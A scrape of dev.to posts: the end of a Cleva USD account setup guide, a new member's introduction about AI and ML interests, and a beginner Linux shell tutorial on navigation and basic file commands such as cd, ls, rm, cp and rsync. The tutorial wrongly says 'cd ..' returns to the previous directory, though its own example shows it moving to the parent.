<IMG SRC= "https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y0x02tywabb1kwho4e7v.jpg" alt="Email Address verification">
<hr>
<IMG SRC= "https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dax4hbo2vpwjf5y1bqrz.jpg">
</Li>
<hr>
<Li>
<b>Step Four</b> : Fill in the details and provide your valid ID. Once you Submit, you get verified the same day!
<IMG SRC="
https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bu1ljl3f0jehi8rnsopn.jpg">
</Li>
<hr>
<Li>
<b>Step Five</b> : Congratulations 🎉 You've successfully set up your Cleva USD account! You can now seamlessly receive money in US dollars, free from the hassle and stress of costly conversions and complicated transactions.
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<Hr>
Thanks for following along - happy banking with Cleva!
<Hr>
| hnkomuwa |
1,881,599 | #AI #Machine Learning #Data Science #New Member | Hello everyone! I’m thrilled to join this developer community! My name is Maryam, and I’m diving... | 0 | 2024-06-08T22:50:18 | https://dev.to/maryam_naveen_ee8c11708c6/ai-machine-learning-data-science-new-member-3c52 | Hello everyone!
I’m thrilled to join this developer community! My name is Maryam, and I’m diving into a career in Artificial Intelligence (AI) and Machine Learning (ML).
With a background in Computer Science, I’m passionate about using technology to solve complex problems. I’ve been taking online courses and working on projects to build my ML skills.
I’m particularly interested in:
Machine Learning Algorithms
Deep Learning (neural networks, computer vision, NLP)
Data Science
Artificial Intelligence
I’m eager to learn, share ideas, and collaborate on impactful projects. If you have any advice, resources, or opportunities, please reach out!
Looking forward to connecting with you all!
Best Regards,
Maryam
| maryam_naveen_ee8c11708c6 | |
1,881,571 | 0x00. Shell, navigation | File System Organization Like Windows, the files on a Linux system are arranged in what is... | 0 | 2024-06-08T22:42:29 | https://dev.to/john_otienoh/0x00-shell-navigation-3jpb | shell, bash, softwareengineering, alxsoftwareengineering | ## File System Organization
Like Windows, the files on a Linux system are arranged in what is called a hierarchical directory structure. This means that they are organized in a tree-like pattern of directories (called folders in other systems), which may contain files and subdirectories. The first directory in the file system is called the root directory. The root directory contains files and subdirectories, which contain more files and subdirectories and so on and so on.
The basic three commands include:
1. **pwd** (print working directory)
1. **cd** (change directory)
1. **ls** (list files and directories).
### pwd
The directory we are standing in is called the working directory. To see the name of the working directory, we use the pwd command.
```
[me@linuxbox me]$ pwd
/home/me
```
When we first log on to our Linux system, the working directory is set to our home directory.
### cd
To change the working directory (where we are standing in the maze) we use the cd command. To do this, we type cd followed by the pathname of the desired working directory. A pathname is the route we take along the branches of the tree to get to the directory we want.
```
me@linuxbox me]$ cd /usr/bin
me@linuxbox bin]$ pwd
/usr/bin
```
If we type `cd` followed by nothing, cd will change the working directory to our home directory.
```
me@linuxbox me]$ cd
me@linuxbox bin]$ pwd
/home/me
```
A related shortcut is to type `cd ~user_name`. In this case, cd will change the working directory to the home directory of the specified user.
```
me@linuxbox me]$ cd ~me
me@linuxbox bin]$ pwd
/home/me
```
Typing `cd -` or `cd ..` changes the working directory to the previous one.
```
me@linuxbox me]$ cd /usr/bin
me@linuxbox bin]$ pwd
/usr/bin
me@linuxbox me]$ cd ..
me@linuxbox bin]$ pwd
/usr
```
### ls
It is used to list the files in the current working directory.
```
[me@linuxbox me]$ ls
Desktop Download Pictures Music Templates Documents examples.desktop Public Videos
```
File names that begin with a period character are hidden. This only means that ls will not list them unless we say `ls -a`.
```
[me@linuxbox me]$ ls -la
.git/ .ssh/ .ipython/ Desktop Download Pictures Music Templates
```
`ls -l`List the files in the working directory in long format
```
[me@linuxbox me]$ ls -l
drwxr-xr-x 1 me 197121 0 Oct 17 2023 OneDrive/
drwxr-xr-x 1 me 197121 0 Jan 17 2023 Pictures/
drwxr-xr-x 1 me 197121 0 Mar 3 2023 Saved Games/
drwxr-xr-x 1 me 197121 0 Apr 27 2023 Searches/
```
### Displaying file contents
There are several commands to display the content of a file in Linux.
- Using `cat` command
```
$ cat filename
```
- Using `head` and `tail` commands
The `head` command displays the first 10 lines of a file, while the `tail` command displays the last 10 lines of a file.
```
$ head filename # displays the first 10 lines of a file
$ tail filename # displays the last 10 lines of a file
```
You can modify the number of lines displayed by using the `-n` option, for example:
```
$ head -n 5 filename # displays the first 5 lines of a file
$ tail -n 5 filename # displays the last 5 lines of a file
```
- Using `less` command
The `less` command allows you to view a file one page at a time. It allows you navigate through the file using the arrow keys or page up/down keys.
```
$ less filename
```
- Using `awk` command
This command uses `awk` to print each line of the file.
```
$ awk '1' filename
```
### Creating files and directories
**Create a file:**
- Using the `touch` command:
```
$ touch filename
```
This will create a new empty file with the specified name.
- Using a text editor:
```
$ nano filename # using the nano editor.
$ vi filename # using vim editor.
$ code filename # using vscode editor.
```
This will open a text editor where you can create and edit the file. Once you're done, save and exit the editor.
- Using the `echo` command:
```
$ echo "Hello World!" > filename
```
This will create a new file with the specified name and add the text "Hello World!" to it.
**Create a directory:**
- Using the `mkdir` command:
```
$ mkdir directoryname
```
This will create a new directory with the specified name.
### Removing a file or directory
**Removing a file:**
To remove a file, use the `rm` command followed by the name of the file you want to remove:
```
$ rm filename
```
If the file is write-protected, `rm` will ask you to confirm the deletion. To remove the file without prompting, use the `-f` option:
```
$ rm -f filename
```
**Removing a directory:**
To remove an empty directory, use the `rmdir` command followed by the name of the directory:
```
$ rmdir directoryname
```
If the directory is not empty, you will get an error message. To remove a non-empty directory and all its contents, use the `rm` command with the `-r` option:
```
$ rm -r directoryname
```
### Moving or Copying a file or directory
**Moving a file or directory:**
To move a file or directory, use the `mv` command followed by the source file or directory and the destination:
```
$ mv source destination
```
**Renaming a file or directory:**
To rename a file or directory, use the `mv` command with the source file or directory and the new name:
```
$ mv oldname newname
```
**Copying a file or directory:**
To copy a file or directory, use the cp command followed by the source file or directory and the destination:
```
$ cp source destination
```
To copy a directory and all its contents, use the `-r` option with the cp command:
```
$ cp -r source destination
```
This will copy the entire directory source and all its contents to destination.
**Using `rsync` command:**
The `rsync` command is a powerful tool for copying and synchronizing files and directories. It can be used to copy files and directories while preserving permissions, timestamps, and other attributes:
```
$ rsync -avz sourceDir destinationDir
```
This will copy the entire directory sourceDir and all its contents to the specified destination, preserving permissions, timestamps, and other attributes.
_Thanks for your time! Please leave a comment and any suggestions are welcome. Follow me to get updates._
| john_otienoh |
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